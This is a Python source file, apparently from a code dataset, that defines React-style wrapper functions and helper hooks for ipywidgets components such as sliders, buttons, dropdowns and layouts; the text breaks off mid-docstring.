0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
5538c6317e9388b5212d1cc35795064d7932ea28
139,144
py
Python
react_ipywidgets/ipywidgets.py
widgetti/react-ipywidgets
aa22d5f88bd0120c8139b49a3a53d04285bb1e3f
[ "MIT" ]
13
2022-02-17T18:02:36.000Z
2022-03-29T18:24:16.000Z
react_ipywidgets/ipywidgets.py
widgetti/react-ipywidgets
aa22d5f88bd0120c8139b49a3a53d04285bb1e3f
[ "MIT" ]
null
null
null
react_ipywidgets/ipywidgets.py
widgetti/react-ipywidgets
aa22d5f88bd0120c8139b49a3a53d04285bb1e3f
[ "MIT" ]
null
null
null
import datetime import typing from typing import Any, Callable, Dict, Sequence, Union import ipywidgets import ipywidgets as widgets import ipywidgets.widgets.widget_description import ipywidgets.widgets.widget_int import react_ipywidgets import react_ipywidgets as react from react_ipywidgets.core import Element from .utils import without_default # def use_on_click(on_click): # def add_event_handler(button: widgets.Button): # def handler(change): # on_click() # def cleanup(): # button.on_click(handler, remove=True) # button.on_click(handler) # return cleanup # react.use_effect(add_event_handler) def slider_int(value=1, description="", min=0, max=100, key=None, **kwargs): key = key or str(value) + str(description) value, set_value = react.use_state(value, key) IntSlider(value=value, description=description, min=min, max=max, on_value=set_value, **kwargs) return value def text_int(value=1, description="", key=None, **kwargs): key = key or str(value) + str(description) value, set_value = react.use_state(value, key) IntText(value=value, description=description, on_value=set_value, **kwargs) return value def slider_float(value=1, description="", min=0, max=100, key=None, **kwargs): key = key or str(value) + str(description) value, set_value = react.use_state(value, key) FloatSlider(value=value, description=description, min=min, max=max, on_value=set_value, **kwargs) return value def checkbox(value=True, description="", key=None, **kwargs): key = key or str(value) + str(description) value, set_value = react.use_state(value, key) Checkbox(value=value, description=description, on_value=set_value) return value def color(value="red", description="", key=None, **kwargs): key = key or str(value) + str(description) value, set_value = react.use_state(value, key) ColorPicker(value=value, description=description, on_value=set_value) return value def text(value="Hi there", description="", key=None, **kwargs): key = key or str(value) + str(description) value, set_value = react.use_state(value, key) Text(value=value, description=description, on_value=set_value) return value def dropdown(value="foo", options=["foo", "bar"], description="", key=None, **kwargs): key = key or str(value) + str(description) + str(options) value, set_value = react.use_state(value, key) def set_index(index): set_value(options[index]) Dropdown(value=value, description=description, options=options, on_index=set_index) return value # @react.component # def ButtonWithClick(on_click=None, **kwargs): # if on_click is not None: # # TODO: in react, we cannot do this conditionally, we can appearently # use_on_click(on_click) # return Button(**kwargs) class ButtonElement(react.core.Element): def _add_widget_event_listener(self, widget: widgets.Widget, name: str, callback: Callable): if name == "on_click": def on_click(change): callback() self._callback_wrappers[callback] = on_click widget.on_click(on_click) else: super()._add_widget_event_listener(widget, name, callback) def _remove_widget_event_listener(self, widget: widgets.Widget, name: str, callback: Callable): if name == "on_click": on_click = self._callback_wrappers[callback] widget.on_click(on_click, remove=True) else: super()._add_widget_event_listener(widget, name, callback) if __name__ == "__main__": from . import generate class CodeGen(generate.CodeGen): element_classes = {ipywidgets.Button: ButtonElement} def get_extra_argument(self, cls): return {ipywidgets.Button: [("on_click", None, typing.Callable[[], Any])]}.get(cls, []) current_module = __import__(__name__) CodeGen([widgets, ipywidgets.widgets.widget_description, ipywidgets.widgets.widget_int]).generate(__file__) def ViewcountVBox(on_view_count) -> Element[ipywidgets.widgets.widget_box.VBox]: """Exposes the Widget._view_count throught a VBox, which is not exposed in any widget""" widget_cls = ipywidgets.widgets.widget_box.VBox comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, _view_count=0, on__view_count=on_view_count) # generated code: def Accordion( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, selected_index: int = 0, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_selected_index: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_selectioncontainer.Accordion]: """Displays children each on a separate accordion page. :param box_style: Use a predefined styling for the box. :param children: List of widget children :param selected_index: The index of the selected page. This is either an integer selecting a particular sub-widget, or None to have no widgets selected. """ kwargs: Dict[Any, Any] = without_default(Accordion, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_selectioncontainer.Accordion comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def AppLayout( align_items: str = None, box_style: str = "", center: Element[ipywidgets.Widget] = None, children: Sequence[Element[ipywidgets.Widget]] = (), footer: Element[ipywidgets.Widget] = None, grid_gap: str = None, header: Element[ipywidgets.Widget] = None, height: str = None, justify_content: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, left_sidebar: Element[ipywidgets.Widget] = None, merge: bool = True, pane_heights: tuple = ("1fr", "3fr", "1fr"), pane_widths: tuple = ("1fr", "2fr", "1fr"), right_sidebar: Element[ipywidgets.Widget] = None, width: str = None, on_align_items: typing.Callable[[str], Any] = None, on_box_style: typing.Callable[[str], Any] = None, on_center: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_footer: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_grid_gap: typing.Callable[[str], Any] = None, on_header: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_height: typing.Callable[[str], Any] = None, on_justify_content: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_left_sidebar: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_merge: typing.Callable[[bool], Any] = None, on_pane_heights: typing.Callable[[tuple], Any] = None, on_pane_widths: typing.Callable[[tuple], Any] = None, on_right_sidebar: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_templates.AppLayout]: """Define an application like layout of widgets. Parameters ---------- header: instance of Widget left_sidebar: instance of Widget center: instance of Widget right_sidebar: instance of Widget footer: instance of Widget widgets to fill the positions in the layout merge: bool flag to say whether the empty positions should be automatically merged pane_widths: list of numbers/strings the fraction of the total layout width each of the central panes should occupy (left_sidebar, center, right_sidebar) pane_heights: list of numbers/strings the fraction of the width the vertical space that the panes should occupy (left_sidebar, center, right_sidebar) grid_gap : str CSS attribute used to set the gap between the grid cells justify_content : str, in ['flex-start', 'flex-end', 'center', 'space-between', 'space-around'] CSS attribute used to align widgets vertically align_items : str, in ['top', 'bottom', 'center', 'flex-start', 'flex-end', 'baseline', 'stretch'] CSS attribute used to align widgets horizontally width : str height : str width and height Examples -------- :param align_items: The align-items CSS attribute. :param box_style: Use a predefined styling for the box. :param children: List of widget children :param grid_gap: The grid-gap CSS attribute. :param height: The width CSS attribute. :param justify_content: The justify-content CSS attribute. :param width: The width CSS attribute. """ kwargs: Dict[Any, Any] = without_default(AppLayout, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_templates.AppLayout comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Audio( autoplay: bool = True, controls: bool = True, format: str = "mp3", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, loop: bool = True, value: bytes = b"", on_autoplay: typing.Callable[[bool], Any] = None, on_controls: typing.Callable[[bool], Any] = None, on_format: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_loop: typing.Callable[[bool], Any] = None, on_value: typing.Callable[[bytes], Any] = None, ) -> Element[ipywidgets.widgets.widget_media.Audio]: """Displays a audio as a widget. The `value` of this widget accepts a byte string. The byte string is the raw audio data that you want the browser to display. You can explicitly define the format of the byte string using the `format` trait (which defaults to "mp3"). If you pass `"url"` to the `"format"` trait, `value` will be interpreted as a URL as bytes encoded in UTF-8. :param autoplay: When true, the audio starts when it's displayed :param controls: Specifies that audio controls should be displayed (such as a play/pause button etc) :param format: The format of the audio. :param loop: When true, the audio will start from the beginning after finishing :param value: The media data as a byte string. """ kwargs: Dict[Any, Any] = without_default(Audio, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_media.Audio comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def BoundedFloatText( continuous_update: bool = False, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: float = 100.0, min: float = 0.0, step: float = None, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: float = 0.0, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[float], Any] = None, on_min: typing.Callable[[float], Any] = None, on_step: typing.Callable[[float], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[float], Any] = None, ) -> Element[ipywidgets.widgets.widget_float.BoundedFloatText]: """Displays a float value within a textbox. Value must be within the range specified. For a textbox in which the value doesn't need to be within a specific range, use FloatText. Parameters ---------- value : float value displayed min : float minimal value of the range of possible values displayed max : float maximal value of the range of possible values displayed step : float step of the increment (if None, any step is allowed) description : str description displayed next to the textbox :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value :param min: Min value :param step: Minimum step to increment the value :param style: Styling customizations :param value: Float value """ kwargs: Dict[Any, Any] = without_default(BoundedFloatText, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_float.BoundedFloatText comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def BoundedIntText( continuous_update: bool = False, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, step: int = 1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: int = 0, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_step: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.BoundedIntText]: """Textbox widget that represents an integer bounded from above and below. :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value :param min: Min value :param step: Minimum step to increment the value :param style: Styling customizations :param value: Int value """ kwargs: Dict[Any, Any] = without_default(BoundedIntText, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int.BoundedIntText comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Box( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, ) -> Element[ipywidgets.widgets.widget_box.Box]: """Displays multiple widgets in a group. The widgets are laid out horizontally. Parameters ---------- children: iterable of Widget instances list of widgets to display box_style: str one of 'success', 'info', 'warning' or 'danger', or ''. Applies a predefined style to the box. Defaults to '', which applies no pre-defined style. Examples -------- >>> import ipywidgets as widgets >>> title_widget = widgets.HTML('<em>Box Example</em>') >>> slider = widgets.IntSlider() >>> widgets.Box([title_widget, slider]) :param box_style: Use a predefined styling for the box. :param children: List of widget children """ kwargs: Dict[Any, Any] = without_default(Box, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_box.Box comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Button( button_style: str = "", description: str = "", disabled: bool = False, icon: str = "", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_button.ButtonStyle]] = {}, tooltip: str = "", on_button_style: typing.Callable[[str], Any] = None, on_description: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_icon: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_button.ButtonStyle]]], Any] = None, on_tooltip: typing.Callable[[str], Any] = None, on_click: typing.Callable[[], typing.Any] = None, ) -> Element[ipywidgets.widgets.widget_button.Button]: """Button widget. This widget has an `on_click` method that allows you to listen for the user clicking on the button. The click event itself is stateless. Parameters ---------- description: str description displayed next to the button tooltip: str tooltip caption of the toggle button icon: str font-awesome icon name disabled: bool whether user interaction is enabled :param button_style: Use a predefined styling for the button. :param description: Button label. :param disabled: Enable or disable user changes. :param icon: Font-awesome icon name, without the 'fa-' prefix. :param tooltip: Tooltip caption of the button. """ kwargs: Dict[Any, Any] = without_default(Button, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = ButtonStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_button.Button comp = react.core.ComponentWidget(widget=widget_cls) return ButtonElement(comp, **kwargs) ### def ButtonStyle( button_color: str = None, font_weight: str = "", on_button_color: typing.Callable[[str], Any] = None, on_font_weight: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_button.ButtonStyle]: """Button style widget. :param button_color: Color of the button :param font_weight: Button text font weight. """ kwargs: Dict[Any, Any] = without_default(ButtonStyle, locals()) widget_cls = ipywidgets.widgets.widget_button.ButtonStyle comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Checkbox( description: str = "", description_tooltip: str = None, disabled: bool = False, indent: bool = True, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: bool = False, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_indent: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[bool], Any] = None, ) -> Element[ipywidgets.widgets.widget_bool.Checkbox]: """Displays a boolean `value` in the form of a checkbox. Parameters ---------- value : {True,False} value of the checkbox: True-checked, False-unchecked description : str description displayed next to the checkbox indent : {True,False} indent the control to align with other controls with a description. The style.description_width attribute controls this width for consistence with other controls. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes. :param indent: Indent the control to align with other controls with a description. :param style: Styling customizations :param value: Bool value """ kwargs: Dict[Any, Any] = without_default(Checkbox, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_bool.Checkbox comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def ColorPicker( concise: bool = False, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "black", on_concise: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_color.ColorPicker]: """ :param concise: Display short version with just a color selector. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes. :param style: Styling customizations :param value: The color value. """ kwargs: Dict[Any, Any] = without_default(ColorPicker, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_color.ColorPicker comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Combobox( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, ensure_option: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Sequence[str] = (), placeholder: str = "\u200b", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_ensure_option: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Sequence[str]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.Combobox]: """Single line textbox widget with a dropdown and autocompletion. :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param ensure_option: If set, ensure value is in options. Implies continuous_update=False. :param options: Dropdown options for the combobox :param placeholder: Placeholder text to display when nothing has been typed :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(Combobox, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.Combobox comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Controller( axes: Sequence[Element[ipywidgets.widgets.widget_controller.Axis]] = (), buttons: Sequence[Element[ipywidgets.widgets.widget_controller.Button]] = (), connected: bool = False, index: int = 0, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, mapping: str = "", name: str = "", timestamp: float = 0.0, on_axes: typing.Callable[[Sequence[Element[ipywidgets.widgets.widget_controller.Axis]]], Any] = None, on_buttons: typing.Callable[[Sequence[Element[ipywidgets.widgets.widget_controller.Button]]], Any] = None, on_connected: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[int], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_mapping: typing.Callable[[str], Any] = None, on_name: typing.Callable[[str], Any] = None, on_timestamp: typing.Callable[[float], Any] = None, ) -> Element[ipywidgets.widgets.widget_controller.Controller]: """Represents a game controller. :param axes: The axes on the gamepad. :param buttons: The buttons on the gamepad. :param connected: Whether the gamepad is connected. :param index: The id number of the controller. :param mapping: The name of the control mapping. :param name: The name of the controller. :param timestamp: The last time the data from this gamepad was updated. """ kwargs: Dict[Any, Any] = without_default(Controller, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_controller.Controller comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def CoreWidget() -> Element[ipywidgets.widgets.widget_core.CoreWidget]: """ """ kwargs: Dict[Any, Any] = without_default(CoreWidget, locals()) widget_cls = ipywidgets.widgets.widget_core.CoreWidget comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def DOMWidget( layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, ) -> Element[ipywidgets.widgets.domwidget.DOMWidget]: """Widget that can be inserted into the DOM""" kwargs: Dict[Any, Any] = without_default(DOMWidget, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.domwidget.DOMWidget comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def DatePicker( description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: datetime.date = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[datetime.date], Any] = None, ) -> Element[ipywidgets.widgets.widget_date.DatePicker]: """ Display a widget for picking dates. Parameters ---------- value: datetime.date The current value of the widget. disabled: bool Whether to disable user changes. Examples -------- >>> import datetime >>> import ipywidgets as widgets >>> date_pick = widgets.DatePicker() >>> date_pick.value = datetime.date(2019, 7, 9) :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes. :param style: Styling customizations """ kwargs: Dict[Any, Any] = without_default(DatePicker, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_date.DatePicker comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Dropdown( description: str = "", description_tooltip: str = None, disabled: bool = False, index: int = None, label: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: Any = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[int], Any] = None, on_label: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[Any], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.Dropdown]: """Allows you to select a single item from a dropdown. Parameters ---------- options: list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, or a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``. index: int The index of the current selection. value: any The value of the current selection. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: str The label corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param index: Selected index :param label: Selected label :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param style: Styling customizations :param value: Selected value """ kwargs: Dict[Any, Any] = without_default(Dropdown, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.Dropdown comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def FileUpload( accept: str = "", button_style: str = "", data: list = [], description: str = "", description_tooltip: str = None, disabled: bool = False, error: str = "", icon: str = "upload", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, metadata: list = [], multiple: bool = False, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_button.ButtonStyle]] = {}, value: dict = {}, on_accept: typing.Callable[[str], Any] = None, on_button_style: typing.Callable[[str], Any] = None, on_data: typing.Callable[[list], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_error: typing.Callable[[str], Any] = None, on_icon: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_metadata: typing.Callable[[list], Any] = None, on_multiple: typing.Callable[[bool], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_button.ButtonStyle]]], Any] = None, on_value: typing.Callable[[dict], Any] = None, ) -> Element[ipywidgets.widgets.widget_upload.FileUpload]: """ Upload file(s) from browser to Python kernel as bytes :param accept: File types to accept, empty string for all :param button_style: Use a predefined styling for the button. :param data: List of file content (bytes) :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable button :param error: Error message :param icon: Font-awesome icon name, without the 'fa-' prefix. :param metadata: List of file metadata :param multiple: If True, allow for multiple files upload """ kwargs: Dict[Any, Any] = without_default(FileUpload, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = ButtonStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_upload.FileUpload comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def FloatLogSlider( base: float = 10.0, continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: float = 4.0, min: float = 0.0, orientation: str = "horizontal", readout: bool = True, readout_format: str = ".3g", step: float = 0.1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]] = {}, value: float = 1.0, on_base: typing.Callable[[float], Any] = None, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[float], Any] = None, on_min: typing.Callable[[float], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_readout_format: typing.Callable[[str], Any] = None, on_step: typing.Callable[[float], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]]], Any] = None, on_value: typing.Callable[[float], Any] = None, ) -> Element[ipywidgets.widgets.widget_float.FloatLogSlider]: """Slider/trackbar of logarithmic floating values with the specified range. Parameters ---------- value : float position of the slider base : float base of the logarithmic scale. Default is 10 min : float minimal position of the slider in log scale, i.e., actual minimum is base ** min max : float maximal position of the slider in log scale, i.e., actual maximum is base ** max step : float step of the trackbar, denotes steps for the exponent, not the actual value description : str name of the slider orientation : {'horizontal', 'vertical'} default is 'horizontal', orientation of the slider readout : {True, False} default is True, display the current value of the slider next to it readout_format : str default is '.3g', specifier for the format function used to represent slider value for human consumption, modeled after Python 3's format specification mini-language (PEP 3101). :param base: Base for the logarithm :param 